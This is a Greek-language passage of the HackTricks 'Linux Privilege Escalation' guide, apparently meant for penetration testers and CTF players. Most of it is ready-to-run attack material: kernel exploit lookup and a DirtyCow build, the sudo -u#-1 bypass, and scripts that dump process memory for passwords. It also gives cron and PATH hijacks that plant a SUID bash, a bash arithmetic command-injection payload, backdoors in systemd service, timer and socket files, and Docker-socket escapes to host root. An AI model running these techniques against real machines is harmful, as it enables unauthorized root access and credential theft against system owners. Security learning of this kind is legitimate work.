99 KiB
Linux Privilege Escalation
{{#include ../../banners/hacktricks-training.md}}
Πληροφορίες Συστήματος
Πληροφορίες OS
Ας ξεκινήσουμε να αποκτήσουμε κάποιες γνώσεις για το OS που τρέχει.
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
Path
Εάν έχετε δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στο PATH
ενδέχεται να μπορείτε να hijack κάποιες libraries ή binaries:
echo $PATH
Πληροφορίες περιβάλλοντος
Υπάρχουν ενδιαφέρουσες πληροφορίες, κωδικοί πρόσβασης ή API keys στις μεταβλητές περιβάλλοντος;
(env || set) 2>/dev/null
Kernel exploits
Ελέγξτε την έκδοση του kernel και αν υπάρχει κάποιο exploit που μπορεί να χρησιμοποιηθεί για να escalate privileges
cat /proc/version
uname -a
searchsploit "Linux Kernel"
Μπορείτε να βρείτε μια καλή λίστα ευάλωτων kernel και μερικά ήδη compiled exploits εδώ: https://github.com/lucyoa/kernel-exploits και exploitdb sploits.
Άλλοι ιστότοποι όπου μπορείτε να βρείτε μερικά compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
Για να εξαγάγετε όλες τις ευάλωτες εκδόσεις του kernel από εκείνη την ιστοσελίδα μπορείτε να κάνετε:
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
Εργαλεία που μπορούν να βοηθήσουν στην αναζήτηση kernel exploits είναι:
linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (εκτέλεση IN victim, μόνο ελέγχει exploits για kernel 2.x)
Πάντα αναζητήστε την έκδοση του kernel στο Google, ίσως η έκδοση του kernel σας να αναφέρεται σε κάποιο kernel exploit και έτσι θα είστε σίγουροι ότι αυτό το exploit είναι έγκυρο.
CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
Έκδοση Sudo
Με βάση τις ευάλωτες εκδόσεις του sudo που εμφανίζονται σε:
searchsploit sudo
Μπορείτε να ελέγξετε αν η έκδοση του sudo είναι ευάλωτη χρησιμοποιώντας αυτό το grep.
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
sudo < v1.28
Από @sickrov
sudo -u#-1 /bin/bash
Dmesg επαλήθευση υπογραφής απέτυχε
Ελέγξτε smasher2 box of HTB για ένα παράδειγμα του πώς αυτή η vuln θα μπορούσε να εκμεταλλευθεί
dmesg 2>/dev/null | grep "signature"
Περισσότερη ανίχνευση συστήματος
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
Απαρίθμηση πιθανών αμυντικών μέτρων
AppArmor
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
Grsecurity
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
PaX
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
Execshield
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
SElinux
(sestatus 2>/dev/null || echo "Not found sestatus")
ASLR
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
Docker Breakout
Αν βρίσκεστε μέσα σε ένα docker container μπορείτε να προσπαθήσετε να διαφύγετε από αυτό:
{{#ref}} docker-security/ {{#endref}}
Δίσκοι
Ελέγξτε τι είναι προσαρτημένο και τι δεν είναι προσαρτημένο, πού και γιατί. Αν κάτι δεν είναι προσαρτημένο, μπορείτε να προσπαθήσετε να το προσαρτήσετε και να ελέγξετε για ιδιωτικές πληροφορίες
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
Χρήσιμο λογισμικό
Απαριθμήστε χρήσιμα binaries
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
Επίσης, έλεγξε αν είναι εγκατεστημένος οποιοσδήποτε compiler. Αυτό είναι χρήσιμο αν χρειαστεί να χρησιμοποιήσεις κάποιο kernel exploit, καθώς συνιστάται να το μεταγλωττίσεις στη μηχανή όπου θα το χρησιμοποιήσεις (ή σε μία παρόμοια).
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
Εγκατεστημένο Ευάλωτο Λογισμικό
Ελέγξτε την έκδοση των εγκατεστημένων πακέτων και υπηρεσιών. Ίσως υπάρχει κάποια παλιά έκδοση του Nagios που θα μπορούσε, για παράδειγμα, να εκμεταλλευθεί για escalating privileges…\
Συνιστάται να ελέγξετε χειροκίνητα την έκδοση του πιο ύποπτου εγκατεστημένου λογισμικού.
dpkg -l #Debian
rpm -qa #Centos
Αν έχετε πρόσβαση SSH στη μηχανή, μπορείτε επίσης να χρησιμοποιήσετε το openVAS για να ελέγξετε για παρωχημένο και ευάλωτο λογισμικό εγκατεστημένο στη μηχανή.
[!NOTE] > Λάβετε υπόψη ότι αυτές οι εντολές θα εμφανίσουν πολλές πληροφορίες που κατά κύριο λόγο θα είναι άχρηστες, επομένως συνιστάται η χρήση εφαρμογών όπως το OpenVAS ή παρόμοιων που θα ελέγχουν αν κάποια εγκατεστημένη έκδοση λογισμικού είναι ευάλωτη σε γνωστά exploits
Διεργασίες
Ρίξτε μια ματιά σε ποιες διεργασίες εκτελούνται και ελέγξτε αν κάποια διεργασία έχει περισσότερα προνόμια απ' ό,τι θα έπρεπε (ίσως ένα tomcat να εκτελείται από τον root;)
ps aux
ps -ef
top -n 1
Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detect those by checking the --inspect
parameter inside the command line of the process.
Επίσης έλεγξε τα προνόμιά σου πάνω στα processes binaries, ίσως να μπορείς να αντικαταστήσεις κάποιο.
Process monitoring
Μπορείς να χρησιμοποιήσεις εργαλεία όπως pspy για να παρακολουθείς διεργασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσεις ευάλωτες διεργασίες που εκτελούνται συχνά ή όταν πληρούνται ορισμένες προϋποθέσεις.
Process memory
Κάποιες υπηρεσίες ενός server αποθηκεύουν διαπιστευτήρια σε απλό κείμενο μέσα στη μνήμη.
Κανονικά θα χρειαστείς root privileges για να διαβάσεις τη μνήμη διεργασιών που ανήκουν σε άλλους χρήστες, επομένως αυτό είναι συνήθως πιο χρήσιμο όταν είσαι ήδη root και θέλεις να ανακαλύψεις περισσότερα διαπιστευτήρια.
Ωστόσο, θυμήσου ότι ως απλός χρήστης μπορείς να διαβάσεις τη μνήμη των διεργασιών που κατέχεις.
Warning
Σημείωση ότι σήμερα τα περισσότερα μηχανήματα δεν επιτρέπουν ptrace από προεπιλογή πράγμα που σημαίνει ότι δεν μπορείς να κάνεις dump άλλων διεργασιών που ανήκουν σε χρήστη χωρίς προνόμια.
Το αρχείο /proc/sys/kernel/yama/ptrace_scope ελέγχει την προσβασιμότητα του ptrace:
- kernel.yama.ptrace_scope = 0: όλες οι διεργασίες μπορούν να αποσφαλματωθούν, εφόσον έχουν το ίδιο uid. Αυτός είναι ο κλασικός τρόπος που λειτουργούσε το ptracing.
- kernel.yama.ptrace_scope = 1: μόνο η γονική διεργασία μπορεί να αποσφαλματωθεί.
- kernel.yama.ptrace_scope = 2: Μόνο ο admin μπορεί να χρησιμοποιήσει ptrace, καθώς απαιτείται η δυνατότητα CAP_SYS_PTRACE.
- kernel.yama.ptrace_scope = 3: Καμία διεργασία δεν μπορεί να ιχνηλατηθεί με ptrace. Μόλις οριστεί, χρειάζεται επανεκκίνηση για να ενεργοποιηθεί ξανά το ptracing.
GDB
Αν έχεις πρόσβαση στη μνήμη μιας υπηρεσίας FTP (για παράδειγμα) μπορείς να πάρεις το Heap και να ψάξεις μέσα για τα διαπιστευτήριά της.
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
GDB Script
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
/proc/$pid/maps & /proc/$pid/mem
Για ένα δοσμένο PID, maps δείχνουν πώς η μνήμη αντιστοιχίζεται εντός της διεργασίας αυτής στον εικονικό χώρο διευθύνσεων; επίσης δείχνουν τις δικαιώματα κάθε αντιστοιχισμένης περιοχής. Το mem ψευδο-αρχείο αποκαλύπτει την ίδια τη μνήμη της διεργασίας. Από το maps αρχείο γνωρίζουμε ποιες περιοχές μνήμης είναι αναγνώσιμες και τις μετατοπίσεις τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να μετακινηθούμε μέσα στο αρχείο mem και να εξάγουμε όλες τις αναγνώσιμες περιοχές σε ένα αρχείο.
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)
/dev/mem
/dev/mem
παρέχει πρόσβαση στη φυσική μνήμη του συστήματος, όχι στην εικονική μνήμη. Ο εικονικός χώρος διευθύνσεων του πυρήνα μπορεί να προσπελαστεί χρησιμοποιώντας /dev/kmem.
Τυπικά, /dev/mem
είναι αναγνώσιμο μόνο από τους root και την ομάδα kmem.
strings /dev/mem -n10 | grep -i PASS
ProcDump for linux
Το ProcDump είναι μια επανασχεδιασμένη για Linux έκδοση του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για Windows. Βρείτε το στο https://github.com/Sysinternals/ProcDump-for-Linux
procdump -p 1714
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
Εργαλεία
Για να κάνετε dump τη μνήμη μιας διεργασίας μπορείτε να χρησιμοποιήσετε:
- https://github.com/Sysinternals/ProcDump-for-Linux
- https://github.com/hajzer/bash-memory-dump (root) - _Μπορείτε να αφαιρέσετε χειροκίνητα τις απαιτήσεις root και να κάνετε dump τη διεργασία που σας ανήκει
- Script A.5 από https://www.delaat.net/rp/2016-2017/p97/report.pdf (απαιτείται root)
Διαπιστευτήρια από τη μνήμη διεργασίας
Χειροκίνητο παράδειγμα
Εάν διαπιστώσετε ότι η διεργασία authenticator εκτελείται:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
Μπορείτε να dump τη process (βλέπε προηγούμενες ενότητες για να βρείτε διαφορετικούς τρόπους να dump the memory of a process) και να αναζητήσετε credentials μέσα στη memory:
./dump-memory.sh 2027
strings *.dump | grep -i password
mimipenguin
Το εργαλείο https://github.com/huntergregal/mimipenguin θα κλέψει διαπιστευτήρια σε απλό κείμενο από τη μνήμη και από κάποια γνωστά αρχεία. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά.
Χαρακτηριστικό | Όνομα Διεργασίας |
---|---|
GDM password (Kali Desktop, Debian Desktop) | gdm-password |
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
LightDM (Ubuntu Desktop) | lightdm |
VSFTPd (Active FTP Connections) | vsftpd |
Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
Search Regexes/truffleproc
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
Προγραμματισμένες/Cron εργασίες
Έλεγξε αν κάποια προγραμματισμένη εργασία είναι ευάλωτη. Ίσως μπορέσεις να εκμεταλλευτείς ένα script που εκτελείται από τον root (wildcard vuln; μπορείς να τροποποιήσεις αρχεία που χρησιμοποιεί ο root; να χρησιμοποιήσεις symlinks; να δημιουργήσεις συγκεκριμένα αρχεία στον κατάλογο που χρησιμοποιεί ο root?).
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
Cron path
Για παράδειγμα, μέσα στο /etc/crontab μπορείς να βρεις το PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
(Σημείωσε πώς ο χρήστης "user" έχει δικαιώματα εγγραφής στο /home/user)
Αν μέσα σε αυτό το crontab ο χρήστης root προσπαθήσει να εκτελέσει κάποια εντολή ή script χωρίς να ορίσει το PATH. Για παράδειγμα: * * * * root overwrite.sh
Τότε μπορείς να αποκτήσεις ένα root shell χρησιμοποιώντας:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
Cron που χρησιμοποιεί ένα script με wildcard (Wildcard Injection)
Εάν ένα script εκτελείται από root και έχει “*” μέσα σε μια εντολή, μπορείτε να εκμεταλλευτείτε αυτό για να προκαλέσετε απροσδόκητα αποτελέσματα (όπως privesc). Παράδειγμα:
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
Εάν το wildcard προηγείται μιας διαδρομής όπως /some/path/* , δεν είναι ευάλωτο (ακόμα και ./* δεν είναι).
Διαβάστε την ακόλουθη σελίδα για περισσότερα κόλπα εκμετάλλευσης wildcard:
{{#ref}} wildcards-spare-tricks.md {{#endref}}
Bash arithmetic expansion injection in cron log parsers
Bash εκτελεί parameter expansion και command substitution πριν την αριθμητική αξιολόγηση σε ((...)), $((...)) και let. Αν ένας root cron/parser διαβάζει μη-έμπιστα πεδία καταγραφής και τα τροφοδοτεί σε αριθμητικό περιβάλλον, ένας attacker μπορεί να εισάγει ένα command substitution $(...) που εκτελείται ως root όταν τρέξει το cron.
-
Γιατί λειτουργεί: Στον Bash, οι επεκτάσεις γίνονται με αυτή τη σειρά: parameter/variable expansion, command substitution, arithmetic expansion, στη συνέχεια word splitting και pathname expansion. Οπότε μια τιμή όπως
$(/bin/bash -c 'id > /tmp/pwn')0
πρώτα υποκαθίσταται (εκτελώντας την εντολή), και μετά ο υπόλοιπος αριθμητικός0
χρησιμοποιείται για την αριθμητική ώστε το script να συνεχίζει χωρίς σφάλματα. -
Τυπικό ευάλωτο pattern:
#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count )) # or: let "n=$count"
done < /var/www/app/log/application.log
- Exploitation: Γράψτε attacker-controlled κείμενο στο αρχείο καταγραφής που αναλύεται, έτσι ώστε το πεδίο που μοιάζει αριθμητικό να περιέχει ένα command substitution και να τελειώνει με ένα ψηφίο. Βεβαιωθείτε ότι η εντολή σας δεν τυπώνει στο stdout (ή ανακατευθύνετέ το) ώστε η αριθμητική να παραμένει έγκυρη.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.
Cron script overwriting and symlink
Αν μπορείτε να τροποποιήσετε ένα cron script που εκτελείται από root, μπορείτε πολύ εύκολα να αποκτήσετε ένα shell:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
Αν το script που εκτελείται από τον root χρησιμοποιεί έναν κατάλογο στον οποίο έχετε πλήρη πρόσβαση, ίσως να είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και να δημιουργήσετε έναν symlink φάκελο προς κάποιον άλλο που θα εξυπηρετεί ένα script υπό τον έλεγχό σας
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
Συχνές cron jobs
Μπορείτε να παρακολουθήσετε τις διεργασίες για να εντοπίσετε διαδικασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως να μπορέσετε να εκμεταλλευτείτε αυτό και να ανυψώσετε τα προνόμια.
Για παράδειγμα, για να παρακολουθείτε κάθε 0.1s για 1 λεπτό, ταξινομήσετε κατά λιγότερο εκτελεσμένες εντολές και να διαγράψετε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
Μπορείτε επίσης να χρησιμοποιήσετε pspy (αυτό θα παρακολουθεί και θα απαριθμεί κάθε process που ξεκινά).
Αόρατα cron jobs
Είναι δυνατό να δημιουργήσετε ένα cronjob τοποθετώντας ένα carriage return μετά από ένα σχόλιο (χωρίς χαρακτήρα newline), και το cron job θα λειτουργήσει. Παράδειγμα (προσέξτε τον χαρακτήρα carriage return):
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
Υπηρεσίες
Αρχεία .service με δυνατότητα εγγραφής
Ελέγξτε εάν μπορείτε να γράψετε κάποιο .service
αρχείο, αν μπορείτε, θα μπορούσατε να το τροποποιήσετε έτσι ώστε να εκτελεί το backdoor σας όταν η υπηρεσία ξεκινά, επανεκκινείται ή σταματά (ίσως χρειαστεί να περιμένετε μέχρι το μηχάνημα να επανεκκινηθεί).
Για παράδειγμα δημιουργήστε το backdoor σας μέσα στο αρχείο .service με ExecStart=/tmp/script.sh
Εκτελέσιμα υπηρεσιών με δυνατότητα εγγραφής
Λάβετε υπόψη ότι αν έχετε δικαιώματα εγγραφής επί των binaries που εκτελούνται από services, μπορείτε να τα αλλάξετε για backdoors έτσι ώστε όταν οι υπηρεσίες επανεκτελεστούν τα backdoors να εκτελεστούν.
systemd PATH - Σχετικές διαδρομές
Μπορείτε να δείτε το PATH που χρησιμοποιεί το systemd με:
systemctl show-environment
Αν διαπιστώσετε ότι μπορείτε να γράψετε σε οποιονδήποτε από τους φακέλους της διαδρομής μπορεί να μπορείτε να ανυψώσετε προνόμια. Πρέπει να αναζητήσετε σχετικές διαδρομές που χρησιμοποιούνται σε αρχεία διαμόρφωσης υπηρεσιών όπως:
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
Στη συνέχεια, δημιούργησε ένα executable με το same name as the relative path binary μέσα στο systemd PATH folder που μπορείς να γράψεις, και όταν η υπηρεσία ζητήσει να εκτελέσει την ευάλωτη ενέργεια (Start, Stop, Reload), το backdoor will be executed (οι μη προνομιακοί χρήστες συνήθως δεν μπορούν να start/stop υπηρεσίες αλλά έλεγξε αν μπορείς να χρησιμοποιήσεις sudo -l
).
Μάθε περισσότερα για τις υπηρεσίες με man systemd.service
.
Timers
Timers είναι systemd unit files των οποίων το όνομα τελειώνει σε **.timer**
που ελέγχουν αρχεία ή γεγονότα **.service**
. Timers μπορούν να χρησιμοποιηθούν ως εναλλακτική του cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα ημερολογιακού χρόνου και μονοτονικά χρονικά γεγονότα και μπορούν να τρέξουν ασύγχρονα.
Μπορείς να απαριθμήσεις όλους τους timers με:
systemctl list-timers --all
Εγγράψιμοι timers
Αν μπορείτε να τροποποιήσετε ένα timer, μπορείτε να το κάνετε να εκτελέσει κάποιες υπάρχουσες μονάδες του systemd.unit (όπως .service
ή .target
)
Unit=backdoor.service
Η μονάδα που ενεργοποιείται όταν αυτός ο timer λήξει. Το όρισμα είναι ένα όνομα μονάδας, του οποίου το επίθημα δεν είναι ".timer". Εάν δεν καθορίζεται, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη timer unit, εκτός από το επίθημα. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της timer unit να έχουν ταυτόσημη ονομασία, εκτός από το επίθημα.
Therefore, to abuse this permission you would need to:
- Βρείτε κάποια systemd unit (like a
.service
) που είναι εκτελεί ένα writable binary - Βρείτε κάποια systemd unit που είναι εκτελεί ένα relative path και έχετε writable privileges πάνω στο systemd PATH (για να υποδυθείτε αυτό το εκτελέσιμο)
Learn more about timers with man systemd.timer
.
Ενεργοποίηση Timer
Για να ενεργοποιήσετε έναν timer χρειάζεστε δικαιώματα root και να εκτελέσετε:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
Σημειώστε ότι ο timer ενεργοποιείται δημιουργώντας ένα symlink προς αυτόν στο /etc/systemd/system/<WantedBy_section>.wants/<name>.timer
Sockets
Τα Unix Domain Sockets (UDS) επιτρέπουν την επικοινωνία διεργασιών στο ίδιο ή σε διαφορετικά μηχανήματα μέσα σε μοντέλα client-server. Χρησιμοποιούν τα τυπικά Unix descriptor files για επικοινωνία μεταξύ μηχανών και ρυθμίζονται μέσω .socket
αρχείων.
Τα Sockets μπορούν να ρυθμιστούν χρησιμοποιώντας .socket
αρχεία.
Μάθετε περισσότερα για τα sockets με man systemd.socket
. Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν διάφορες ενδιαφέρουσες παράμετροι:
ListenStream
,ListenDatagram
,ListenSequentialPacket
,ListenFIFO
,ListenSpecial
,ListenNetlink
,ListenMessageQueue
,ListenUSBFunction
: Αυτές οι επιλογές διαφέρουν μεταξύ τους αλλά συνοπτικά χρησιμοποιούνται για να υποδείξουν πού θα ακούει το socket (το μονοπάτι του AF_UNIX socket αρχείου, το IPv4/6 και/ή τον αριθμό θύρας που θα ακούει, κ.λπ.)Accept
: Παίρνει ένα boolean όρισμα. Αν είναι true, τότε spawnάρεται μια service instance για κάθε εισερχόμενη σύνδεση και μόνο το connection socket περνάει σε αυτήν. Αν είναι false, όλα τα listening sockets περνιούνται στην ξεκινώμενη service unit, και μόνο μία service unit spawnάρεται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για datagram sockets και FIFOs όπου μια ενιαία service unit χειρίζεται αναγκαστικά όλη την εισερχόμενη κίνηση. Defaults to false. Για λόγους απόδοσης, συνιστάται τα νέα daemons να γράφονται μόνο με τρόπο που είναι κατάλληλος γιαAccept=no
.ExecStartPre
,ExecStartPost
: Παίρνουν μία ή περισσότερες γραμμές εντολών, οι οποίες εκτελούνται πριν ή μετά τα listening sockets/FIFOs δημιουργηθούν και δεθούν, αντίστοιχα. Το πρώτο token της γραμμής εντολής πρέπει να είναι ένα απόλυτο filename, ακολουθούμενο από arguments για τη διεργασία.ExecStopPre
,ExecStopPost
: Επιπλέον εντολές που εκτελούνται πριν ή μετά τα listening sockets/FIFOs κλείσουν και αφαιρεθούν, αντίστοιχα.Service
: Καθορίζει το όνομα της service unit που θα ενεργοποιηθεί σε εισερχόμενη κίνηση. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η service που φέρει το ίδιο όνομα με το socket (με την κατάληξη αντικατασταμένη). Στις περισσότερες περιπτώσεις, δεν θα είναι απαραίτητο να χρησιμοποιηθεί αυτή η επιλογή.
Writable .socket files
Αν βρείτε ένα writable .socket
αρχείο μπορείτε να προσθέσετε στην αρχή της ενότητας [Socket]
κάτι σαν: ExecStartPre=/home/kali/sys/backdoor
και το backdoor θα εκτελεστεί πριν το socket δημιουργηθεί. Επομένως, πιθανότατα θα χρειαστεί να περιμένετε μέχρι να γίνει reboot το μηχάνημα.
Note that the system must be using that socket file configuration or the backdoor won't be executed
Writable sockets
Αν εντοπίσετε οποιοδήποτε writable socket (εδώ μιλάμε για Unix Sockets και όχι για τα config .socket
αρχεία), τότε μπορείτε να επικοινωνήσετε με αυτό το socket και ίσως να εκμεταλλευτείτε κάποια ευπάθεια.
Enumerate Unix Sockets
netstat -a -p --unix
Ακατέργαστη σύνδεση
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
Παράδειγμα exploitation:
{{#ref}} socket-command-injection.md {{#endref}}
HTTP sockets
Σημειώστε ότι μπορεί να υπάρχουν μερικά sockets που ακούν για HTTP requests (δεν αναφέρομαι σε .socket αρχεία αλλά στα αρχεία που λειτουργούν ως unix sockets). Μπορείτε να το ελέγξετε με:
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
Αν το socket responds with an HTTP request, τότε μπορείτε να communicate με αυτό και ίσως να exploit some vulnerability.
Εγγράψιμο Docker socket
Το Docker socket, που συχνά βρίσκεται στο /var/run/docker.sock
, είναι ένα κρίσιμο αρχείο που πρέπει να ασφαλιστεί. Από προεπιλογή, είναι εγγράψιμο από τον χρήστη root
και τα μέλη της ομάδας docker
. Η απόκτηση write access σε αυτό το socket μπορεί να οδηγήσει σε privilege escalation. Ακολουθεί μια ανάλυση του πώς αυτό μπορεί να γίνει και εναλλακτικοί τρόποι αν το Docker CLI δεν είναι διαθέσιμο.
Privilege Escalation με Docker CLI
Αν έχετε write access στο Docker socket, μπορείτε να escalate privileges χρησιμοποιώντας τις παρακάτω εντολές:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
Αυτές οι εντολές σας επιτρέπουν να τρέξετε ένα container με πρόσβαση root στο σύστημα αρχείων του host.
Χρήση Docker API απευθείας
Σε περιπτώσεις όπου το Docker CLI δεν είναι διαθέσιμο, το Docker socket μπορεί ακόμα να χειριστεί χρησιμοποιώντας το Docker API και εντολές curl
.
- List Docker Images: Ανακτήστε τη λίστα των διαθέσιμων images.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
- Create a Container: Στείλτε ένα αίτημα για να δημιουργήσετε ένα container που κάνει mount τον root κατάλογο του host συστήματος.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
Start the newly created container:
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
- Attach to the Container: Χρησιμοποιήστε
socat
για να δημιουργήσετε σύνδεση με το container, επιτρέποντας την εκτέλεση εντολών μέσα σε αυτό.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
Αφού οριστεί η σύνδεση socat
, μπορείτε να εκτελείτε εντολές απευθείας στο container με πρόσβαση root στο σύστημα αρχείων του host.
Άλλα
Σημειώστε ότι αν έχετε δικαιώματα εγγραφής στο docker socket επειδή βρίσκεστε μέσα στην ομάδα docker
έχετε more ways to escalate privileges. Εάν το docker API is listening in a port you can also be able to compromise it.
Δείτε more ways to break out from docker or abuse it to escalate privileges σε:
